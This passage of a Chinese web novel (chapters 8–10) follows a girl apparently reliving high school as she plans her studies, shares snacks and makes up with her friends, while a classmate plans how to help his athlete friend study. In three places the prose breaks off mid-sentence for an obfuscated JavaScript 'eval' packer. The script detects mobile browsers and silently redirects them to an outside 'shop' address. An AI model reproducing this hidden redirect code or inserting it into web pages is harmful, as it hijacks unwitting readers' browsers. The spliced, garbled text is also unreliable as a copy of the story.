“但是,”季知节偏头看向于落落,眼睛里浮浮沉沉,“规训人的东西,太多了。” “父母,”—知知啊,听我们的,学理好找工作,我们又不会害你。 “道德,”—你看看爸爸,你说要是我们家要有个学医的,你爸爸现在肯定会舒服很多。 “社会,”—被病人骂就忍一下吧,我们也没办法,态度好一点。 “自己…”—我好像也只能这样了。 “一不小心,就变成奇怪的样子了。”季知节笑笑,轻轻道。 沈瑜只觉得一股巨大的无奈笼罩着对面的女孩,明明只是十五六岁,却像是积累了数十年的疲惫,整个人像是完全没有了力气。 为什么会像是变了一个人一样。沈瑜茫然,不是指性格上判若两人,而是内核。 虽然话变少了,但是每个人都会有不想说话的时候,所以也能理解。所以在此之前,注意到的人都只是觉得季知节今天或许有点不舒服。 但是这张方桌上的四个人却从季知节的笑容里面感受到了悲伤。 张镜握住了季知节的手,温柔的眼神透过眼镜,注视着女孩;于落落探出身子,手撑在桌面上,朝着女孩坚定道:“那就不要麻木。” 没想到于落落会说出这样的话,季知节有些惊讶地睁大眼睛,反手握紧张镜。 “哪怕痛苦也不要麻木。”沈瑜轻声道,“我们还年轻,还有再来一次的机会。” “就是啊!年轻人不疯还要干嘛!”周博承像打了鸡血一样,整个人燃烧起来了。“我这么厉害,你们肯定也不差啦!” “闭嘴吧你。”沈瑜无奈。 四道带着温度的视线落在季知节身上,沉甸甸的。压抑住眼睛传来的酸涩,季知节噗嗤一笑,“这么热血的吗。” “是啊,就是这么热血。”张镜挑眉。 “不过再热血都要吃饭,我要去找阿姨问问为啥我们的还没好。”于落落一本正经道。 “我们比你先来呢,都还没上,我也要去问问。”周博承看着手里的牌子,苦着脸,“我也去问。” “那我们去好了,你们把牌子给我吧。”沈瑜总结,“你们坐着等一会好了。” “行,谢谢。”张镜点头,把牌子递了过去。 看着两位男生离开的背影,季知节偏头看向两位女孩,眨着眼睛笑道,“落落,镜子,我好想你们。” “哈,这个点?”于落落佯装生气道,“你早上一见到我们立马就说还有点可信度,现在早不早晚不晚的。” “就是,周末早都过完了。没什么可信度啊。”张镜跟着煽风点火。 “下次一定下次一定,哈哈。”季知节讨好道。 的确应该一见到你们就说的,我亲爱的朋友们。 “可乐来喽!”周博承餐盘上摆着麻辣烫和可乐,笑嘻嘻道,“你们的还要一会会,先喝可乐吧。沈瑜请客。” “我可没说要请你。”沈瑜习惯性反驳。 “那你买五瓶。” “不好意思啊,我一个人喝两瓶。”沈瑜冷笑。 “哈哈哈哈哈哈哈哈哈。” 8. 第 8 章 放学后,季知节装着满满一口袋零食回了家。 后桌叶珊珊给的小饼干,前桌陆萍给的薯片,一起罚站的卓文君送来了果冻…… 把零食摊在书桌上,季知节想起下午上课前,周围的同学一个接一个赛零食给自己的样子,就忍不住笑出了声,感到幸福的同时又难免觉得怅然。 高中是个很微妙的时期,刚离开初中的孩子们还有着天真的思维和没被世俗浸染心灵,也没有被庞大的学习压力折磨的双目无神,会去惹惹路边的小花,会去蹦着够树枝上的叶片,会动不动逗一下路边的小屁孩,也会找借口给不开心的同窗送点零食。 今天想流泪的次数有点多。 季知节揉揉眼睛,缓过神后,开始认真摆放这些零食。从色彩搭配到角度,一个都不放过,最后郑重地给零食拍了个特写。 —— 柳明霞进来的时候就看见季知节拿着手机拍拍拍,桌上还摆着一堆零食。 “干嘛呢,不写作业在这玩手机。” “拍照而已。” “零食有什么好拍的,你把饭钱都拿去买零食了?” “没有,同学送的。”季知节收拾着桌子,反驳道。 “你同学送你零食干嘛,记得送回去,别白拿人家的。” “知道啦。” “你下次进我房间能敲门吗?” “这有什么好敲的,你要做坏事啊。”柳明霞没好气道,“赶紧吃饭去。” “隐私啊隐私。”季知节拖长音调,无奈道。 “你才多大就隐私,你谈恋爱了?”柳明霞一脸狐疑地往外走。 “你想哪去了,只是万一我在里面换衣服呢。”季知节头疼道,“怎么会想到我谈恋爱啊。” “你谈恋爱了?”餐厅里的季红卫抬头严肃道。 “没有没有。”季知节疯狂否认,“你听错了,我让妈进房间要敲门。” “行。”季红卫点头,“那就吃饭吧。” 饭桌上还是老一套,季知节一边夹着菜,一边听着妈妈的唠叨,爸爸的手机屏幕上滚动着小说,不知道又在看哪一本。时不时附和妈妈,问一嘴学校的情况,季知节也都一一乖巧回答。 人总是很矛盾的,季知节讨厌动不动父母动不动打着为自己好的名号,替自己做选择做决定,但是看见父母劳累了一天有些疲惫的脸和桌上烧好的饭菜,又忍不住感到愧疚和幸福。 “怎么,今天迟到了,不好意思,才这么乖吗。” 但是父母总有办法拥有一句话打破气氛。 就在吃完饭,季知节准备收拾碗筷的时候,季红卫靠着椅子笑道。 “就不能是我一直这么乖吗?”季知节叹了口气,知道爸爸没有恶意,只是想调笑一下今天迟到的事情,但是把所有的行为都要找出一个原因这种事,真的令人难受。 “行行行,你最乖了。”季红卫敷衍,就移动到客厅的沙发上继续躺着了。 “行了我来吧。”柳明霞抢过季知节手中的洗碗布,“你赶紧写作业去,别搞到大半夜。” 季知节还想说什么,就被推到厨房外去了,看着回来做饭之后又要洗碗的妈妈,和大爷一样躺着的爸爸,终于还是没忍住。 “爸,你不去帮一下妈妈啊。” “帮什么帮,我一个人就行了。”说话的反而是妈妈,“没几个碗。” “哟,你女儿都会心疼你了,这高中上得值哦。”季红卫哼道。 “那不然呢。”柳明霞相当骄傲。 季知节无奈,不想听这些乱七八糟的话,说了要写作业就回房了。 —— 说是要写作业,但是作业本上记录下来的作业,能写的好像也只有语文…… 无从下手啊无从下手。 盯了作业半晌,季知节拉开抽屉,果不其然在抽屉里面找到了许多崭新的、华丽的本子。勉强挑了一本最朴素的,季知节开始在本子记录着什么。 要做的事情有很多,要整理的情况也不少。 就单从学习上来说,月考的范围大概就是前两个单元,九科一共要准备18个单元,其中只有英语的两个单元可以稍微靠边放一点,工作后英语用的不少,大学也认真学过,语文也只需要看一下前两个单元要求背诵的篇目和作文大纲,这两门稍微轻松一点。 但除此之外的七门课,几乎都要重新学,不说高二分科之后就没有碰过的政史地,虽然大学里有思修史纲之类的必修课,但是这些课的水份……所以还是要重新学。而物化生,也无法细想,物理到大学完全丢掉了,大学里生物化学完全围绕护理这个专业来,而真正工作后,用得更多的还是操作知识,这些理论八百年用不到一会,现在看顶多比物理要好一点点,但是也好不到哪去。 距离考试还有八天左右的样子,不可能把每门课都学精,先按照每天的课表,利用当天布置的作业复习,有涉及到前面的知识点就翻过去看,能弄懂一个是一个,不懂的做上记号,白天去学校问张镜或者老师。到周末的时候抽时间做单元检测卷子,查缺补漏一下。 之前的成绩大概在什么水准已经不记得了,这次的要求就是稳住,慢慢来,班上40来个人,不要是倒数就行。 季知节乐观地想,要是不够预期,就跟爸妈讲还没适应好,不着急,反正才刚开学,时间还早。 对啊,时间还早。 季知节看着本子上逐渐成型的计划,不禁觉得有些搞笑,学生生活真的很容易让人忘记其他,明明才一天而已,就已经开始想要完全投入到这样的日子里了。 季知节不清楚过去的是否能完全过去,也不清楚这样的日子能持续多久,更不清楚这到底是过分真实的臆想还是现实,但是… 本子翻到了新的空白页。 0.5mm的黑色按动笔在纸上写着: 好好学习 好好生活 好好成长 如果,季知节心想,如果可以的话,能找到自己的梦想就更好了。 谁也预料不准生活,谁也无法控制下一秒会发生什么,在预测不准未来时,我们能做的,也只有把握好当下。 —— 沈瑜坐在自己的书桌前,手上抄着数学作业的罚抄,心思却飞到了九霄云外。 上周五还不是那样的,周末两天发生了什么事,才会让人变得那么憔悴呢。而且,变得喜欢把话藏在心里了,中午那会,她是有点想对周博承说什么的吧,像是话只说了一半的样子,为什么会不说呢,又没有关系。 不过下午好像好一些了,是因为那些零食吗?要不然,让姐姐下班之后带点吃的回来?周博承是不是说上次的饼干挺好吃的,而且中午那下,让这傻子好像有点回过神了,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14360035|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说都要去感谢一下她们吧……或者带点麻薯?她是不是喜欢吃甜的来着,看她朋友给她送的都是甜的好像。 纠结着纠结着,手却很诚实地摸向了手机。 “姐,你晚上带点饼干和麻薯回来呗,周博承想吃了。”沈瑜面不改色地在聊天框里打出了一行字。 那头也不知道在干嘛,秒回。 “OK。” 满意地放下手机,沈瑜终于开始认真写作业了。 —— 周嘉言第十五次经过了周博承的房门口,本就抓耳挠腮的周博承实在没忍住,把虚掩着的房门拉开,无奈道,“又怎么了,我这没零食了。” “什么零食,我又不是来找你要零食的。”周嘉言翻了个白眼。 “那你要干嘛。” “你生病了?”周嘉言探头看了看书桌上铺着的作业,又抬头看看周博承。 周博承一脸莫名其妙,“没有啊。” “家里网断了?” “没有吧,我没注意。老爸不还在那玩吗?”周博承更加一脸奇怪,“你看你手机不就知道了。” 周嘉言也不说话,就仰头盯着周博承。 逐渐反应过来的周博承咬牙切齿道,“我只是在学习而已,有那么惊讶吗?” —— 于落落趴在书桌上精神不振地写着作业,碰到实在写不下的地方,就站起来拨弄拨弄摆在架子上的相机,翻翻旁边的碟片,然后又边哀嚎边投入到作业中去。主打一个少量多次地完成作业。 —— 张镜写作业一向很积极,课间的空余时间就会写上一点,回家也基本不拖拉,写完了就开始写课外作业。张镜入学考试是全班第一名,这也是张镜被选为班长的原因。但她从不觉得自己是个多聪明的人,现在的成绩也不过是比别人多花了时间而已。要想保持,就不能松懈。 —— 感谢大学生活所锻炼的自学能力,季知节在凌晨一点的时候,完美解决了今天的课后作业,甚至还把数学和化学的的第一单元学了个皮毛。摸着已经有点疼的脑袋,拖着坐麻了的腿,季知节丧尸般摸到了卫生间,看着镜子里乱糟糟的头发和已经乱得不成样子的衣领,季知节笑出了声。 太高中生了。季知节想。 为了不吵醒父母,季知节轻手轻脚地洗漱完,想着明天一定要提早洗漱,就又摸回了房间。 将摊在桌上的东西都收好,又把明天要带的作业和课本塞进书包里,所有的东西条理清晰地准备好,却在要穿的衣服上犯了难。一中只在周一以及重大活动的时候要求穿校服,平日里还是以自己的衣服为主,可是,现在的15岁的季知节的审美…… 看着衣柜里一排红红绿绿紫紫的衣服,季知节感到一阵茫然,我这么花哨的吗……这是衣柜还是彩虹啊…… 拿出一件绿色的短袖,后面还有白色的印花,正反仔细打量了一下,季知节眨眨眼,嘿,还挺好看的,就穿这个吧。 没想到一会儿就决定好了要穿什么,季知节反思了一下自己的审美,发现无法得出结论,就爬上了床,仔细定好闹钟,睡前还不忘合十祈祷。 哪路大仙都好,帮帮忙,就当没看见我,让我老实在这呆着吧。 以为会辗转难眠,实际上一挨到枕头,季知节就睡过去了,悄然而来的梦里也只有一些乱七八糟的试卷而已。 9. 第 9 章 感谢天、感谢地、感谢路过的每一位神仙。 当被闹钟吵醒的季知节发现目光所及之处还是昨晚的样子时,不禁发出了这样的感慨。 相当愉悦地换上准备好的衣服,乐颠颠地出了房门,季知节从来没觉得起床是件这么开心的事情。 刚到客厅就看见父母的卧室门打开了,柳明霞睡眼惺忪地走了出来。 “你起了啊,我还想去叫你。”柳明霞打了个哈欠,“那你搞快点上学去,我回去睡一会。” “OK。”季知节比了个手势就钻到卫生间去了。 今天的时间就相当游刃有余了,季知节昨晚上特意定了早一点的闹钟,为的就是早上能赶出空来去便利店买一点零食到班上分,毕竟每一份善意都理应得到回馈。 背上书包,掏出鞋柜里的绿色帆布鞋,季知节离开了家。 同样一条路,同样一辆自行车,但今天的路途就是要比昨天快乐清新很多,季知节就差一边哼歌一边骑车了。 —— 当沈瑜在早餐店遇到季知节时,有一种意料之外又情理之中的感觉。 “早啊。”沈瑜自然地向正在准备结账的女孩打招呼。 女孩接过早点,转头看向沈瑜,一双眼睛亮亮的。 “早上好!” 沈瑜感觉声调第三声有个拐弯实在是太形象了,就像一个小钩子一样钩得人心痒痒。 随手买了几个包子和茶叶蛋,沈瑜看着一旁等着的女孩,实在没忍住,“今天心情很好吗?” “挺好的。”季知节咬了一口红糖馒头,“比昨天好很多,好到能一口气吃三个馒头。” “那我再给你买俩?”沈瑜看着季知节手里的一个馒头,示意要掉头回去。 急忙咽下嘴里的馒头,季知节笑着拦住了沈瑜。 “等我会啊,我去推车。”季知节指了指旁边的自行车,对沈瑜道。 “好。”沈瑜乖巧站在原地,趁着季知节去推车的功夫,开始吃起早点。 “你早上都骑自行车来的吗?”看着季知节把车推到两人中间,还顺手将没吃完的馒头挂在车把手上,沈瑜三两口吞下最后一个包子,询问道。 “差不多,因为有点路,公交又不一定来得及。” “我帮你推吧,你先吃早点好了。”沈瑜指了指自行车。 季知节惊讶地看向沈瑜:“你吃完了?这么快?” “还有个鸡蛋,我得到教室坐着吃,不然很容易噎到。”沈瑜一本正经。 “那谢谢?”季知节试探地把车倒向沈瑜,“我待会还要去便利店买点东西,你要先去教室吗?” “不着急,去早了也没什么事,我也顺便去店里面买点东西。” —— 沈瑜看着季知节在货架上扫荡,棒棒糖、软糖、□□糖…… 双手拿了一堆糖果之后,季知节后知后觉好像拿的太多了,看看手里的糖,又看看货架,目光投向了旁边等着的沈瑜。 沈瑜笑了一下,“哪些放回去?” “那个软糖放回去两包,棒棒糖放回去一包。”季知节用目光示意。 沈瑜垂眸看向那几包糖果,一只骨节分明的手伸了过去,很有分寸地避开了女孩握着的位置,轻轻扯出了糖果,另一只手还在虚虚在下方托着,以防季知节手里剩下的零食掉落。 看着拿住黑色包装袋的手,季知节突然想起以前看过的一张图,是一张特写。沈瑜抱着一把黑色的吉他,修剪整齐的指甲轻轻搭在琴弦上,在灯光的映衬下,肤色显得更白了,而手背上的青筋更是十分……性感。 不愿回想不堪入目的评论区,季知节逼着自己移开视线,脑子里念着清心咒。 “还要别的吗?”沈瑜慢慢将糖果放回原位,歪头询问季知节。 “拿点小饼干吧。”季知节盯着货架上下巡视。 “我带了。” “嗯?”季知节看向说出这话的沈瑜,学着沈瑜歪头。 “我带了一点饼干,还有麻薯,要买饼干的话可以不用买了。”沈瑜解释道,“是谢礼。” 季知节肉眼可见地更迷茫了:“啊?” “昨天中午,你们和周博承说的那些,挺谢谢你们的。” “周博承他有一点点傻,容易被忽悠,别人说什么就是什么的那种。他小学就开始练体育了,也经常有人说什么练体育成绩不好,就慢慢地不怎么学习了。” “他在学习上不笨的,就是心态不对。但是我说这种话他一般是不信的,觉得我在逗他,平时也没有人会专门说这些事,甚至大部分的人觉得他现在已经很不错了。” “但是我总想他能更好一点,练体育太辛苦了,能练好就更难了,所以成绩好一点,多学一点,他的选择也能更多一点。而且我也不太能把握谈话的这个度,太严肃了怕他觉得我在说教,太轻松了,他就不当一回事。所以我一直在想怎么样说最合适。昨天你们说了之后,我真的松了一口气。” “他昨天晚上都没和我提抄作业的事情,虽然可能写得不多,早上可能还要抄一点,但是起码有点进步了。” 大概是第一次和人说这样的话,沈瑜说得有些颠三倒四的,说到最后自己也有点不好意思。 “我是不是太理所当然了。”沈瑜叹了口气,“还有点操心过头的迹象。” “但是很帅。”季知节耐心听完沈瑜的话,笑着看向男孩,在男孩惊讶的目光中肯定道,“为朋友着想的你很帅,会担心沟通出岔子的心理虽然有点笨拙,但是也很可爱。” “你真切地站在我的角度,替我着想,为我担忧,但又不是替我做决定,你在慎重地思考每一个行为所带来的后果,并尝试在不伤害我的前提下让我接受,”季知节顿了顿,“我有你这样的朋友,我会感到很幸福。” 面前的女孩笑得温柔,圆眼里流转的光像是银河般绮丽,他听到了来自胸腔的回声,像是808鼓点响起,低沉、有力的节奏充斥了耳膜,他听见了自己的声音微哑。 “谢谢。” 气氛变得有些许奇怪,季知节控制着想要逃跑的想法,指了指货架,“你有什么想吃的吗,我请你。” “不用,到时候留一颗给我就行。”沈瑜摇摇头,笑着指了指那堆糖,“没别的要买的我们就走吧。” 气氛又好像恢复正常了,季知节眨眨眼,点头,“我去拿瓶咖啡就走。” “昨晚上熬夜了?” “对啊,写作业写到半夜,有几题都是勉强搞懂的。” “数学吗?” “有数学,也有别的。” “那我们加个好友吧,你晚上有不懂的数学题可以问我,物理也会一点。” “行啊,那先谢谢你啦。” “不客气。” —— “所以,”季知节看着饼干包装袋,犹豫道,“‘琼味’是你姐姐开的?” 教室里还没来人,为了方便,季知节直接坐到了周博承的位置上,看着沈瑜掏出了饼干和麻薯。 “对。”沈瑜叹了口气,“她说她叫沈琼,然后也真的很穷,所以当时定名字的时候,她不管不顾,就定了这个‘琼味’,还专门找了人设计了logo。” logo是一个简约的卡通人物,还捧着个小碗,碗上用可爱的字体写了一个大大的“琼”,乍一看有点像乞讨,但是不得不说,很可爱,而且和名字很搭。 “但是很天才啊,这谁看了不想进去看两眼。”季知节赞叹道,这也不是空话,琼味这家面包店虽然现在还不算出名,但是后来就因为独特的名字和logo小小出圈了一下,又因为价格实惠,产品美味,店面充满特色,逐渐变成了很多美食博主打卡的地方。不过季知节真的不知道这居然是沈瑜姐姐开的,十年后沈瑜那么火都爆出来和这家店有联系,不过现在想想也不需要,琼味本身已经够火了,又是私房烘焙,流量太大了反而不好管理。 “其实我姐本来想叫“琼酸味”的,我爸说敢叫这个名字,他就拒绝出钱入股这家店。”沈瑜一言难尽道,“你吃吃看。” “没准是‘破窗效应’呢,”季知节小心翼翼地拆开饼干的包装,注意不让饼干洒在课桌上,开玩笑道,“知道你姐想叫‘琼酸味’的时候,是不是更能接受‘琼味’了。” 沈瑜顿了顿,艰难道:“好像……是她能做出来的事情……” “哈哈哈哈哈哈,你姐姐好酷啊。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14360036|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >季知节咬了一口饼干,眼睛都亮起来了,“哇,好好吃,救命,真的好吃啊!” “一点都不干巴,也不噎,香香的,还有一点点巧克力碎,救命,好好吃。” “是吧,我姐做这些超级好吃。”沈瑜挑眉,“下次带你去店里面,刚烤出来的更好吃,你不是喜欢吃糖嘛,我姐那还有自制的那种棒棒糖,叫艾素糖,很漂亮,而且不会蛀牙。” 季知节嚼着饼干疯狂点头。 “两位,吃什么呢,带我一个呗……”季知节身后突然传来一道幽怨的声音。 被吓得一机灵,饼干碎呛入了气管,季知节开始疯狂咳嗽。 来不及骂鬼鬼祟祟的周博承,沈瑜赶紧从季知节的书包一侧掏出水杯,递给女孩,另一只伸出去的手想要轻拍后背,又觉得不妥,急得在空中打转,周博承也吓得不轻,跑到座位前方疯狂道歉。 缓过来的季知节摆了摆手,示意问题不大。 “你是不是欠的慌啊。”沈瑜眯着眼睛冷笑道。 周博承讪讪道:“对不起,我真的不是故意的。” “真没事,本来也是你的位置。”季知节拿起饼干,笑道,“你要吃吗,沈瑜带的饼干还有麻薯。” 周博承可太想要了,但是旁边的大爷抱着手臂,皮笑肉不笑地盯着在,他不敢。 “不了不了,你拿去吃吧,我想吃再找沈瑜要。” “行,那我一会给你送糖过来。”季知节以为周博承经常吃,也没过多强求,朝两人摆了摆手,“我回去了哈。” “好嘞,您慢走。”周博承抑扬顿挫道。 “拜拜。”沈瑜瞥了一眼周博承,看着被逗笑的季知节,有点无奈。 ——— “所以,是我不配是吗……”看着季知节走远的背影,周博承一脸幽怨地看着沈瑜,就差拿块手帕咬了。 沈瑜嫌弃地离远了点,但还是解释道:“她们有三个人,而且季知节还打算分一点给她周边的朋友,再给你分就不够了,我改天再给你带。” “好兄弟!”周博承一秒变脸,嘻嘻哈哈地称兄道弟。 “走开,你今天来这么早是还要抄作业吗?” “哪能呢,我昨天可是认真写了一晚上,但是吧,确实有不少不会的,这不是早起过来想问你嘛。”周博承叹气道,“不过今天有早训,搞得我有点不想写题了。” “而且晚训也马上就开始了,我感觉到时候一旦开始训练,晚上回家我就一个字也不想动了,虽然昨天落姐说得我激情澎湃的,但是就突然感觉有点不现实。” 周博承趴在桌子上,闷声闷气。 “我感觉我做不好。” 沈瑜看着有些丧气的同桌,“这有什么,我陪你。” “嗯?” “你不需要多花什么时间,你只需要把能做的事情做好就行。” “该去训练就去训练,早上不用这么早过来,作业里面的题目有一部分老师会讲,上课认真听就行,上课听完还不会的,我下课给你讲。” “作业也不用想着全部都做,体育大学的分数线不会那么高,我们练好基础就行。你晚训的时候我也差不多到家了,你到家的时候我基本能写一部分的作业了,我可以把每天作业的基础部分圈出来给你,你做那部分就行,难的就放弃好了,找对你性价比高的部分。” “而且反正我都是要学文的,就算你后面去集训了,你想学习的话,我也能帮你一点,笔记卷子都可以。” 看着一股脑说出一大串话的沈瑜,周博承难得失语,再迟钝也能知道这一连串的计划不是这一下能想出来的。 “你……想多久了……” 沈瑜一哽,不可置信道:“我说这么多,你就这个反应?” “哎呀,不是啦,开玩笑开玩笑。”看着沈瑜要炸毛,周博承连忙顺毛道,“我知道了,我会仔细计划一下的。” “这还差不多。” …… “谢谢啊。”周博承看着别扭的沈瑜,真心道,“我妈说的没错,还好我和你成了朋友。” “……”沈瑜摸了摸鸡皮疙瘩,“你有点恶心。” “?” OK,fine。 10. 第 10 章 “哇哦,这个饼干真的不赖啊,有点牛的。”于落落咬了一口饼干,竖了个大拇指。 “我更喜欢麻薯一点。”张镜中肯道,“这个馅好好吃。” “是吧,超级好吃的。”季知节摇头晃脑,“我们下次去店里面看看别的吧。” “可以啊。” “而且这个店名和logo,我是真的喜欢,太有趣了。”于落落指着包装,“天才。” 季知节深觉认同。 “吃啥呢。”叶珊珊刚到自己座位就看见前面三个人吃得津津有味,实在好奇。 “饼干,巨好吃,还有麻薯。”季知节把袋子往叶珊珊桌上一放,强烈推荐。 “你们早上没吃饭吗?”话是这么说的,叶珊珊的手也没耽误拿,“我吃一个吧,早上有点饱。” “咋样咋样?”季知节看着叶珊珊催促道。 “……再来一个。” “我说什么!”季知节得意道,“吃吧吃吧。” 叶珊珊又摸了一个麻薯,惊叹道,“在哪买的啊,这不是学校边上的店吧,我没吃到过这个味道的麻薯。” “不是,”季知节展示logo和店名,“这家店,琼味。” “这个画咋回事啊,要饭吗哈哈哈哈哈哈,”叶珊珊打量着logo,笑得难受,“我去,穷得要饭,不过此琼非彼穷,绝了,这店在哪,我改天去看看。” “我也不清楚,回头问问告诉你。”季知节犹豫了一下,回答道。 “OK,我收作业去了。” “行。” 于落落又摸了一个麻薯,问道:“你不是说这是沈瑜他姐家开的嘛,你让她去问沈瑜呗。” “我也不知道沈瑜介不介意告诉别人嘛。” “这有啥好介意的。” “万一知道的人太多了,都想买,结果沈瑜成代购了呢。”季知节开玩笑道。 “那就拒绝呗,多大点事啊。” “那也不一定嘛,万一他不擅长拒绝别人呢?”季知节拆着糖果的包装袋,仔细分好,分别塞了份给于落落和张镜,又放了一份在叶珊珊桌上。 “也是。”于落落拆了颗软糖扔进嘴里,“没想到这个。” “你等会帮我带一份零食给卓文君呗,她在你那块,我就不过去了,一会她来了估计也快早读了。” “行啊。”于落落答应道,看着季知节端水大师般分出许多份,“还有谁的?” 季知节说了几个人名,都是昨天塞过零食的,还有询问过自己状况的。 “滴水不漏啊你,有点东西。” “这都是成长啊成长。”季知节故作沧桑道。 “得了吧你。”于落落翻了个白眼,“给我吧,我回去了。” 季知节笑着送走了于落落,就对上了张镜的目光。 “怎么了?” “你这个样子,”张镜比划了一下,“有一点像我妈过年收礼之后一个个记着,再还回去的样子。” “什么东西……”季知节抽了抽嘴角。 “有点还人情那意味,像个大人。” 季知节收拾着桌面的袋子,疑惑道,“不好吗?” “不好。”张镜回答得很快。 季知节手上的动作一顿,抬眼看向了张镜。 “落落生气了。”张镜又开了一个话茬。 季知节把垃圾顺手塞进口袋,慢慢反思道:“因为送零食?不,因为分零食。” “对。”张镜点头。 “我让她觉得昨天的事情都变成礼节了?”季知节喃喃道,“关心变成了必须要回报的东西。” “对她而言,目的性太强了。”张镜指了指桌上的零食,“尤其是她昨天也给你零食了,不说别人,她绝对没有想让你回报什么,但是你给了她和别人一样的东西,她会觉得……” “觉得我把她的关心看得和别人没两样。”季知节勉强笑笑,“关心还被量化了。” “坏消息是她很拧巴,”张镜安抚笑道,“好消息是她只对自己人拧巴。” 季知节叹了口气。 “我知道你只是想回馈每一个对你好的人,但是我们并没有想那么多的,因为你昨天看着不高兴,所以昨天的我们很关心你。但是这并不意味着今天你就要特意地去回复,顺其自然没准会更舒服一点。” “当你来我往变成了一桩桩必须要数清的事情,不是意味着我们生疏了,就是意味着我们变成有担子的大人了。”张镜轻轻道。 季知节使劲揉了揉脸,低声道,“对不起,我没有那个意思。” “我知道。” “我只是觉得你们对我太好了,我想还回去。” “我知道。” “我下次会注意的。” “好哦。” “我去找落落道歉。” “去吧。”张镜眨了眨眼睛,做了个加油的手势,“要是她无理取闹的话,你来找我,我说她。” “嗯。”季知节勾出一个大大的笑容。 —— 在另外一组和旁边人聊天的于落落没想到季知节这么快就找来了。 不过既然找来了,就说明张镜和她已经分析了一通了,于落落咬着嘴里的软糖,有些不自在。 吃着人家的糖,还生着人家的气,何况她也没做错啥,好像有点不太道德。 于落落盯着走来的季知节,目光游移。 倒是旁边拿了糖果的同学和季知节打了招呼。 季知节笑眯眯地回应,然后挽住于落落的手臂:“这美女借我一下哈。” 于落落不说话也不反抗,就这么被季知节拖到了厕所。 看看天花板、看看地板砖、看看拖把池,就是不看季知节。 然后,落入了一个怀抱。 “对不起。”季知节的声音闷闷的。 于落落撇着嘴不说话。 “让你不舒服了。” “我喜欢你们对我好,所以我也想对你们好,但是我太着急了。”季知节把头埋在于落落的肩膀上,“我只是,太喜欢你们了。” 过了一会,于落落粗着嗓子道,“我也对不起,不该乱生气。” “嗯。” “每个人表达的方式不同我知道的,”于落落撒娇道,“如果、我是说如果,你非要送的话,下次记得给我和镜子送不一样的。” “当然,你们是最特别的。”季知节笑道,“但是你也提醒我了。” “嗯?” “当方法不对的时候,一切白搭。” “也没有,糖还挺好吃的。”于落落皱着鼻子道。 “那就好。” —— “解决了?”张镜注意到旁边的人回来后,头也不抬地问道。 “嗯哼。”季知节笑道,“爱你哦。” “有点突然。”张镜推了推眼镜,“但是我收下了。” “嘿嘿,英语早读英语早读~”季知节快乐地翻出英语书,看看单词表又看看课文。 easyeasysoeasy啦,对于我这种英语六级620的人轻轻松松啦,毕竟当时能拿得出手的也就这个啦。 季知节快乐地不是一星半点儿,看得张镜直乐。 —— 今天上午的课也不算难,就是有两节语文连堂课拿来写作文了。时隔许久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14360037|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季知节再一次体会到了被八百字议论文支配的恐惧。 “我讨厌议论文。”季知节像没有骨头那样靠在张镜左边,神色恹恹。 “Metoo。”上午最后一节英语课的余威还残留在脑海,靠在张镜右边的于落落神色恍惚,“议论文,no灵魂。” “所以你们坐一个人到对面去,求求了。”张镜崩溃道,“我手要抬不起来了。” 于落落不想移动,季知节被迫移动。 坐到对面的季知节没办法靠着东西了,又不好趴在饭桌上,只得老实端坐着。 “那个题目……一点作文素材都没有,脑子空空。”季知节绝望道,“写得狗屁不通。” “今天的题目是比较难写啦。”于落落突然从口袋里面掏出手机,得意地晃了晃。 “怎么把手机带来了。”张镜看着手机问道。 “今天下午不是有体育课嘛,也不知道会不会有人打篮球,想拍,所以就带了。” 季知节看了看张镜,心虚地掏出了手机:“其实……我也……” “……”张镜一脸不敢置信,“你也?你堕落了!” “不不不,我只是带过来买东西而已,怕买零食的时候现金不够,就带了手机,零花钱大部分都在微信里。” “抗议!我怎么就堕落了,你知不知道什么叫青春啊!打篮球多帅啊,还能训练拍照技巧!”于落落不服,于落落揭竿而起。 “上课的时候记得关机,闹钟也检查一下。”张镜一个眼神将于落落杀了回去,无奈叮嘱道。 “OKOK。” “对了,你俩有没有什么合适的作文素材书或者练习写作的书啊,我放学准备去书店那边买点卷子,顺便买点作文书。”季知节突然想起来,顺口朝两人问道。 这两个人作文都好得不得了,而且方向还不一样,于落落尤其擅长在文章里插入各种电影角色,有时还能延伸到导演演员身上,素材库横贯古今中外,庞大的阅片量也是她巨大的作文素材库。所以别看她写议论文的时候嚎得厉害,但是范文次数实在不少。 而张镜则大概率是受身为历史老师的妈妈的影响,在历史这门学科上相当得心应手,又能将历史人物、事迹写到作文中,将两门学科融合得相当完美。 只是区别在于,于落落的阅读题做得不算特别好,她对文章有参考答案这件事一直觉得无法理解,在应试上就稍微弱了一点。 